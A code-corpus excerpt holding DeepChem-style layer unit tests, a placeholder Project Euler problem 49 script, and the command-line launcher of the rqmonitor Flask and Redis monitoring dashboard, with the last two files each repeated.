multi_mol.get_deg_adjacency_lists()[1:] args = [atom_features, degree_slice, membership] + deg_adjs result = layers.GraphGather(batch_size)(*args) # TODO(rbharath): Why is it 2*n_features instead of n_features? assert result.shape == (batch_size, 2 * n_features) def test_lstm_step(self): """Test invoking LSTMStep in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_feat = 10 y = np.random.rand(n_test, 2 * n_feat).astype(np.float32) state_zero = np.random.rand(n_test, n_feat).astype(np.float32) state_one = np.random.rand(n_test, n_feat).astype(np.float32) layer = layers.LSTMStep(n_feat, 2 * n_feat) result = layer(y, state_zero, state_one) h_out, h_copy_out, c_out = (result[0], result[1][0], result[1][1]) assert h_out.shape == (n_test, n_feat) assert h_copy_out.shape == (n_test, n_feat) assert c_out.shape == (n_test, n_feat) assert len(layer.trainable_variables) == 3 def test_attn_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.AttnLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 7 def test_iter_ref_lstm_embedding(self): """Test invoking AttnLSTMEmbedding in eager mode.""" with context.eager_mode(): max_depth = 5 n_test = 5 n_support = 11 n_feat = 10 test = np.random.rand(n_test, n_feat).astype(np.float32) support = np.random.rand(n_support, n_feat).astype(np.float32) layer = layers.IterRefLSTMEmbedding(n_test, n_support, n_feat, max_depth) test_out, support_out = layer(test, support) assert test_out.shape == (n_test, n_feat) assert support_out.shape == (n_support, n_feat) assert len(layer.trainable_variables) == 12 def test_batch_norm(self): """Test invoking BatchNorm in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 input = np.random.rand(batch_size, n_features).astype(np.float32) layer = layers.BatchNorm() result = layer(input) assert result.shape == (batch_size, n_features) assert len(layer.trainable_variables) == 2 def test_weighted_error(self): """Test invoking WeightedError in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.WeightedError()(input1, input2) expected = np.sum(input1 * input2) assert np.allclose(result, expected) def test_vina_free_energy(self): """Test invoking VinaFreeEnergy in eager mode.""" with context.eager_mode(): n_atoms = 5 m_nbrs = 1 ndim = 3 nbr_cutoff = 1 start = 0 stop = 4 X = np.random.rand(n_atoms, ndim).astype(np.float32) Z = np.random.randint(0, 2, (n_atoms)).astype(np.float32) layer = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result = layer(X, Z) assert len(layer.trainable_variables) == 6 assert result.shape == tuple() # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.VinaFreeEnergy(n_atoms, m_nbrs, ndim, nbr_cutoff, start, stop) result2 = layer2(X, Z) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(X, Z) assert np.allclose(result, result3) def test_weighted_linear_combo(self): """Test invoking WeightedLinearCombo in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) layer = layers.WeightedLinearCombo() result = layer(input1, input2) assert len(layer.trainable_variables) == 2 expected = input1 * layer.trainable_variables[0] + input2 * layer.trainable_variables[1] assert np.allclose(result, expected) def test_neighbor_list(self): """Test invoking NeighborList in eager mode.""" with context.eager_mode(): N_atoms = 5 start = 0 stop = 12 nbr_cutoff = 3 ndim = 3 M_nbrs = 2 coords = start + np.random.rand(N_atoms, ndim) * (stop - start) coords = tf.cast(tf.stack(coords), tf.float32) layer = layers.NeighborList(N_atoms, M_nbrs, ndim, nbr_cutoff, start, stop) result = layer(coords) assert result.shape == (N_atoms, M_nbrs) def test_dropout(self): """Test invoking Dropout in eager mode.""" with context.eager_mode(): rate = 0.5 input = np.random.rand(5, 10).astype(np.float32) layer = layers.Dropout(rate) result1 = layer(input, training=False) assert np.allclose(result1, input) result2 = layer(input, training=True) assert not np.allclose(result2, input) nonzero = result2.numpy() != 0 assert np.allclose(result2.numpy()[nonzero], input[nonzero] / rate) def test_atomic_convolution(self): """Test invoking AtomicConvolution in eager mode.""" with context.eager_mode(): batch_size = 4 max_atoms = 5 max_neighbors = 2 dimensions = 3 params = [[5.0, 2.0, 0.5], [10.0, 2.0, 0.5]] input1 = np.random.rand(batch_size, max_atoms, dimensions).astype(np.float32) input2 = np.random.randint( max_atoms, size=(batch_size, max_atoms, max_neighbors)) input3 = np.random.randint( 1, 10, size=(batch_size, max_atoms, max_neighbors)) layer = layers.AtomicConvolution(radial_params=params) result = layer(input1, input2, input3) assert result.shape == (batch_size, max_atoms, len(params)) assert len(layer.trainable_variables) == 3 def test_alpha_share_layer(self): """Test invoking AlphaShareLayer in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.AlphaShareLayer() result = layer(input1, input2) assert input1.shape == result[0].shape assert input2.shape == result[1].shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.AlphaShareLayer() result2 = layer2(input1, input2) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_sluice_loss(self): """Test invoking SluiceLoss in eager mode.""" with context.eager_mode(): input1 = np.ones((3, 4)).astype(np.float32) input2 = np.ones((2, 2)).astype(np.float32) result = layers.SluiceLoss()(input1, input2) assert np.allclose(result, 40.0) def test_beta_share(self): """Test invoking BetaShare in eager mode.""" with context.eager_mode(): batch_size = 10 length = 6 input1 = np.random.rand(batch_size, length).astype(np.float32) input2 = np.random.rand(batch_size, length).astype(np.float32) layer = layers.BetaShare() result = layer(input1, input2) assert input1.shape == result.shape assert input2.shape == result.shape # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.BetaShare() result2 = layer2(input1, input2) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input1, input2) assert np.allclose(result, result3) def test_ani_feat(self): """Test invoking ANIFeat in eager mode.""" with context.eager_mode(): batch_size = 10 max_atoms = 5 input = np.random.rand(batch_size, max_atoms, 4).astype(np.float32) layer = layers.ANIFeat(max_atoms=max_atoms) result = layer(input) # TODO What should the output shape be? It's not documented, and there # are no other test cases for it. def test_graph_embed_pool_layer(self): """Test invoking GraphEmbedPoolLayer in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphEmbedPoolLayer(num_vertices=6) result = layer(V, adjs) assert result[0].shape == (10, 6, 50) assert result[1].shape == (10, 6, 5, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphEmbedPoolLayer(num_vertices=6) result2 = layer2(V, adjs) assert not np.allclose(result[0], result2[0]) assert not np.allclose(result[1], result2[1]) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result[0], result3[0]) assert np.allclose(result[1], result3[1]) def test_graph_cnn(self): """Test invoking GraphCNN in eager mode.""" with context.eager_mode(): V = np.random.uniform(size=(10, 100, 50)).astype(np.float32) adjs = np.random.uniform(size=(10, 100, 5, 100)).astype(np.float32) layer = layers.GraphCNN(num_filters=6) result = layer(V, adjs) assert result.shape == (10, 100, 6) # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GraphCNN(num_filters=6) result2 = layer2(V, adjs) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(V, adjs) assert np.allclose(result, result3) def test_hinge_loss(self): """Test invoking HingeLoss in eager mode.""" with context.eager_mode(): n_labels = 1 n_logits = 1 logits = np.random.rand(n_logits).astype(np.float32) labels = np.random.rand(n_labels).astype(np.float32) result = layers.HingeLoss()(labels, logits) assert result.shape == (n_labels,)

pt

py/py_0049_prime_permutations.py

lcsm29/project-euler

13598

# Solution of; # Project Euler Problem 49: Prime permutations # https://projecteuler.net/problem=49 # # The arithmetic sequence, 1487, 4817, 8147, in which each of the terms # increases by 3330, is unusual in two ways: (i) each of the three terms are # prime, and, (ii) each of the 4-digit numbers are permutations of one # another. There are no arithmetic sequences made up of three 1-, 2-, or # 3-digit primes, exhibiting this property, but there is one other 4-digit # increasing sequence. What 12-digit number do you form by concatenating the # three terms in this sequence? # # by lcsm29 http://github.com/lcsm29/project-euler import timed def dummy(n): pass if __name__ == '__main__': n = 1000 i = 10000 prob_id = 49 timed.caller(dummy, n, i, prob_id)

# Solution of; # Project Euler Problem 49: Prime permutations # https://projecteuler.net/problem=49 # # The arithmetic sequence, 1487, 4817, 8147, in which each of the terms # increases by 3330, is unusual in two ways: (i) each of the three terms are # prime, and, (ii) each of the 4-digit numbers are permutations of one # another. There are no arithmetic sequences made up of three 1-, 2-, or # 3-digit primes, exhibiting this property, but there is one other 4-digit # increasing sequence. What 12-digit number do you form by concatenating the # three terms in this sequence? # # by lcsm29 http://github.com/lcsm29/project-euler import timed def dummy(n): pass if __name__ == '__main__': n = 1000 i = 10000 prob_id = 49 timed.caller(dummy, n, i, prob_id)

it

rqmonitor/cli.py

trodery/rqmonitor

13599

<gh_stars>0 """ This reference script has been taken from rq-dashboard with some modifications """ import importlib import logging import os import sys from urllib.parse import quote as urlquote, urlunparse from redis.connection import (URL_QUERY_ARGUMENT_PARSERS, UnixDomainSocketConnection, SSLConnection) from urllib.parse import urlparse, parse_qs, unquote import click from flask import Flask, Response, request from rqmonitor.defaults import RQ_MONITOR_REDIS_URL, RQ_MONITOR_REFRESH_INTERVAL from rqmonitor.version import VERSION from rqmonitor.bp import monitor_blueprint logger = logging.getLogger("werkzeug") def add_basic_auth(blueprint, username, password, realm="RQ Monitor"): """Add HTTP Basic Auth to a blueprint. Note this is only for casual use! """ @blueprint.before_request def basic_http_auth(*args, **kwargs): auth = request.authorization if auth is None or auth.password != password or auth.username != username: return Response( "Please login", 401, {"WWW-Authenticate": 'Basic realm="{}"'.format(realm)}, ) def create_app_with_blueprint(config=None, username=None, password=<PASSWORD>, url_prefix='', blueprint=monitor_blueprint): """Return Flask app with default configuration and registered blueprint.""" app = Flask(__name__) # Override with any settings in config file, if given. if config: app.config.from_object(importlib.import_module(config)) # Override from a configuration file in the env variable, if present. if "RQ_MONITOR_SETTINGS" in os.environ: app.config.from_envvar("RQ_MONITOR_SETTINGS") # Optionally add basic auth to blueprint and register with app. if username: add_basic_auth(blueprint, username, password) app.register_blueprint(blueprint, url_prefix=url_prefix) return app def check_url(url, decode_components=False): """ Taken from redis-py for basic check before passing URL to redis-py Kept here to show error before launching app For example:: redis://[[username]:[password]]@localhost:6379/0 rediss://[[username]:[password]]@localhost:6379/0 unix://[[username]:[password]]@/path/to/socket.sock?db=0 Three URL schemes are supported: - ```redis://`` <https://www.iana.org/assignments/uri-schemes/prov/redis>`_ creates a normal TCP socket connection - ```rediss://`` <https://www.iana.org/assignments/uri-schemes/prov/rediss>`_ creates a SSL wrapped TCP socket connection - ``unix://`` creates a Unix Domain Socket connection There are several ways to specify a database number. The parse function will return the first specified option: 1. A ``db`` querystring option, e.g. redis://localhost?db=0 2. If using the redis:// scheme, the path argument of the url, e.g. redis://localhost/0 3. The ``db`` argument to this function. If none of these options are specified, db=0 is used. The ``decode_components`` argument allows this function to work with percent-encoded URLs. If this argument is set to ``True`` all ``%xx`` escapes will be replaced by their single-character equivalents after the URL has been parsed. This only applies to the ``hostname``, ``path``, ``username`` and ``password`` components. Any additional querystring arguments and keyword arguments will be passed along to the ConnectionPool class's initializer. The querystring arguments ``socket_connect_timeout`` and ``socket_timeout`` if supplied are parsed as float values. The arguments ``socket_keepalive`` and ``retry_on_timeout`` are parsed to boolean values that accept True/False, Yes/No values to indicate state. Invalid types cause a ``UserWarning`` to be raised. In the case of conflicting arguments, querystring arguments always win. """ url = urlparse(url) url_options = {} for name, value in (parse_qs(url.query)).items(): if value and len(value) > 0: parser = URL_QUERY_ARGUMENT_PARSERS.get(name) if parser: try: url_options[name] = parser(value[0]) except (TypeError, ValueError): logger.warning(UserWarning( "Invalid value for `%s` in connection URL." % name )) else: url_options[name] = value[0] if decode_components: username = unquote(url.username) if url.username else None password = unquote(url.password) if url.password else None path = unquote(url.path) if url.path else None hostname = unquote(url.hostname) if url.hostname else None else: username = url.username or None password = url.password or None path = url.path hostname = url.hostname # We only support redis://, rediss:// and unix:// schemes. if url.scheme == 'unix': url_options.update({ 'username': username, 'password': password, 'path': path, 'connection_class': UnixDomainSocketConnection, }) elif url.scheme in ('redis', 'rediss'): url_options.update({ 'host': hostname, 'port': int(url.port or 6379), 'username': username, 'password': password, }) # If there's a path argument, use it as the db argument if a # querystring value wasn't specified if 'db' not in url_options and path: try: url_options['db'] = int(path.replace('/', '')) except (AttributeError, ValueError): pass if url.scheme == 'rediss': url_options['connection_class'] = SSLConnection else: valid_schemes = ', '.join(('redis://', 'rediss://', 'unix://')) raise ValueError('Redis URL must specify one of the following ' 'schemes (%s)' % valid_schemes) return True @click.command() @click.option( "-b", "--bind", default="0.0.0.0", help="IP or hostname on which to bind HTTP server", ) @click.option( "-p", "--port", default=8899, type=int, help="Port on which to bind HTTP server" ) @click.option( "--url-prefix", default="", help="URL prefix e.g. for use behind a reverse proxy" ) @click.option( "--username", default=None, help="HTTP Basic Auth username (not used if not set)" ) @click.option("--password", default=None, help="HTTP Basic Auth password") @click.option( "-c", "--config", default=None, help="Configuration file (Python module on search path)", ) @click.option( "-u", "--redis-url", default=[RQ_MONITOR_REDIS_URL], multiple=True, help="Redis URL. Can be specified multiple times. Default: redis://127.0.0.1:6379", ) @click.option( "--refresh-interval", "--interval", "refresh_interval", default=RQ_MONITOR_REFRESH_INTERVAL, type=int, help="Refresh interval in ms", ) @click.option( "--extra-path", default=".", multiple=True, help="Append specified directories to sys.path", ) @click.option("--debug/--normal", default=False, help="Enter DEBUG mode") @click.option( "-v", "--verbose", is_flag=True, default=False, help="Enable verbose logging" ) def run( bind, port, url_prefix, username, password, config, redis_url, refresh_interval, extra_path, debug, verbose, ): """Run the RQ Monitor Flask server. All configuration can be set on the command line or through environment variables of the form RQ_MONITOR_*. For example RQ_MONITOR_USERNAME. A subset of the configuration (the configuration parameters used by the underlying flask blueprint) can also be provided in a Python module referenced using --config, or with a .cfg file referenced by the RQ_MONITOR_SETTINGS environment variable. """ if extra_path: sys.path += list(extra_path) click.echo("RQ Monitor version {}".format(VERSION)) app = create_app_with_blueprint(config, username, password, url_prefix, monitor_blueprint) app.config["RQ_MONITOR_REDIS_URL"] = redis_url app.config["RQ_MONITOR_REFRESH_INTERVAL"] = refresh_interval # Conditionally disable Flask console messages # See: https://stackoverflow.com/questions/14888799 if verbose: logger.setLevel(logging.DEBUG) else: logger.setLevel(logging.ERROR) logger.error(" * Running on {}:{}".format(bind, port)) for url in redis_url: check_url(url) app.run(host=bind, port=port, debug=debug) def main(): run(auto_envvar_prefix="RQ_MONITOR") if __name__ == '__main__': main()

""" This reference script has been taken from rq-dashboard with some modifications """ import importlib import logging import os import sys from urllib.parse import quote as urlquote, urlunparse from redis.connection import (URL_QUERY_ARGUMENT_PARSERS, UnixDomainSocketConnection, SSLConnection) from urllib.parse import urlparse, parse_qs, unquote import click from flask import Flask, Response, request from rqmonitor.defaults import RQ_MONITOR_REDIS_URL, RQ_MONITOR_REFRESH_INTERVAL from rqmonitor.version import VERSION from rqmonitor.bp import monitor_blueprint logger = logging.getLogger("werkzeug") def add_basic_auth(blueprint, username, password, realm="RQ Monitor"): """Add HTTP Basic Auth to a blueprint. Note this is only for casual use! """ @blueprint.before_request def basic_http_auth(*args, **kwargs): auth = request.authorization if auth is None or auth.password != password or auth.username != username: return Response( "Please login", 401, {"WWW-Authenticate": 'Basic realm="{}"'.format(realm)}, ) def create_app_with_blueprint(config=None, username=None, password=<PASSWORD>, url_prefix='', blueprint=monitor_blueprint): """Return Flask app with default configuration and registered blueprint.""" app = Flask(__name__) # Override with any settings in config file, if given. if config: app.config.from_object(importlib.import_module(config)) # Override from a configuration file in the env variable, if present. if "RQ_MONITOR_SETTINGS" in os.environ: app.config.from_envvar("RQ_MONITOR_SETTINGS") # Optionally add basic auth to blueprint and register with app. if username: add_basic_auth(blueprint, username, password) app.register_blueprint(blueprint, url_prefix=url_prefix) return app def check_url(url, decode_components=False): """ Taken from redis-py for basic check before passing URL to redis-py Kept here to show error before launching app For example:: redis://[[username]:[password]]@localhost:6379/0 rediss://[[username]:[password]]@localhost:6379/0 unix://[[username]:[password]]@/path/to/socket.sock?db=0 Three URL schemes are supported: - ```redis://`` <https://www.iana.org/assignments/uri-schemes/prov/redis>`_ creates a normal TCP socket connection - ```rediss://`` <https://www.iana.org/assignments/uri-schemes/prov/rediss>`_ creates a SSL wrapped TCP socket connection - ``unix://`` creates a Unix Domain Socket connection There are several ways to specify a database number. The parse function will return the first specified option: 1. A ``db`` querystring option, e.g. redis://localhost?db=0 2. If using the redis:// scheme, the path argument of the url, e.g. redis://localhost/0 3. The ``db`` argument to this function. If none of these options are specified, db=0 is used. The ``decode_components`` argument allows this function to work with percent-encoded URLs. If this argument is set to ``True`` all ``%xx`` escapes will be replaced by their single-character equivalents after the URL has been parsed. This only applies to the ``hostname``, ``path``, ``username`` and ``password`` components. Any additional querystring arguments and keyword arguments will be passed along to the ConnectionPool class's initializer. The querystring arguments ``socket_connect_timeout`` and ``socket_timeout`` if supplied are parsed as float values. The arguments ``socket_keepalive`` and ``retry_on_timeout`` are parsed to boolean values that accept True/False, Yes/No values to indicate state. Invalid types cause a ``UserWarning`` to be raised. In the case of conflicting arguments, querystring arguments always win. """ url = urlparse(url) url_options = {} for name, value in (parse_qs(url.query)).items(): if value and len(value) > 0: parser = URL_QUERY_ARGUMENT_PARSERS.get(name) if parser: try: url_options[name] = parser(value[0]) except (TypeError, ValueError): logger.warning(UserWarning( "Invalid value for `%s` in connection URL." % name )) else: url_options[name] = value[0] if decode_components: username = unquote(url.username) if url.username else None password = unquote(url.password) if url.password else None path = unquote(url.path) if url.path else None hostname = unquote(url.hostname) if url.hostname else None else: username = url.username or None password = url.password or None path = url.path hostname = url.hostname # We only support redis://, rediss:// and unix:// schemes. if url.scheme == 'unix': url_options.update({ 'username': username, 'password': password, 'path': path, 'connection_class': UnixDomainSocketConnection, }) elif url.scheme in ('redis', 'rediss'): url_options.update({ 'host': hostname, 'port': int(url.port or 6379), 'username': username, 'password': password, }) # If there's a path argument, use it as the db argument if a # querystring value wasn't specified if 'db' not in url_options and path: try: url_options['db'] = int(path.replace('/', '')) except (AttributeError, ValueError): pass if url.scheme == 'rediss': url_options['connection_class'] = SSLConnection else: valid_schemes = ', '.join(('redis://', 'rediss://', 'unix://')) raise ValueError('Redis URL must specify one of the following ' 'schemes (%s)' % valid_schemes) return True @click.command() @click.option( "-b", "--bind", default="0.0.0.0", help="IP or hostname on which to bind HTTP server", ) @click.option( "-p", "--port", default=8899, type=int, help="Port on which to bind HTTP server" ) @click.option( "--url-prefix", default="", help="URL prefix e.g. for use behind a reverse proxy" ) @click.option( "--username", default=None, help="HTTP Basic Auth username (not used if not set)" ) @click.option("--password", default=None, help="HTTP Basic Auth password") @click.option( "-c", "--config", default=None, help="Configuration file (Python module on search path)", ) @click.option( "-u", "--redis-url", default=[RQ_MONITOR_REDIS_URL], multiple=True, help="Redis URL. Can be specified multiple times. Default: redis://127.0.0.1:6379", ) @click.option( "--refresh-interval", "--interval", "refresh_interval", default=RQ_MONITOR_REFRESH_INTERVAL, type=int, help="Refresh interval in ms", ) @click.option( "--extra-path", default=".", multiple=True, help="Append specified directories to sys.path", ) @click.option("--debug/--normal", default=False, help="Enter DEBUG mode") @click.option( "-v", "--verbose", is_flag=True, default=False, help="Enable verbose logging" ) def run( bind, port, url_prefix, username, password, config, redis_url, refresh_interval, extra_path, debug, verbose, ): """Run the RQ Monitor Flask server. All configuration can be set on the command line or through environment variables of the form RQ_MONITOR_*. For example RQ_MONITOR_USERNAME. A subset of the configuration (the configuration parameters used by the underlying flask blueprint) can also be provided in a Python module referenced using --config, or with a .cfg file referenced by the RQ_MONITOR_SETTINGS environment variable. """ if extra_path: sys.path += list(extra_path) click.echo("RQ Monitor version {}".format(VERSION)) app = create_app_with_blueprint(config, username, password, url_prefix, monitor_blueprint) app.config["RQ_MONITOR_REDIS_URL"] = redis_url app.config["RQ_MONITOR_REFRESH_INTERVAL"] = refresh_interval # Conditionally disable Flask console messages # See: https://stackoverflow.com/questions/14888799 if verbose: logger.setLevel(logging.DEBUG) else: logger.setLevel(logging.ERROR) logger.error(" * Running on {}:{}".format(bind, port)) for url in redis_url: check_url(url) app.run(host=bind, port=port, debug=debug) def main(): run(auto_envvar_prefix="RQ_MONITOR") if __name__ == '__main__': main()

pt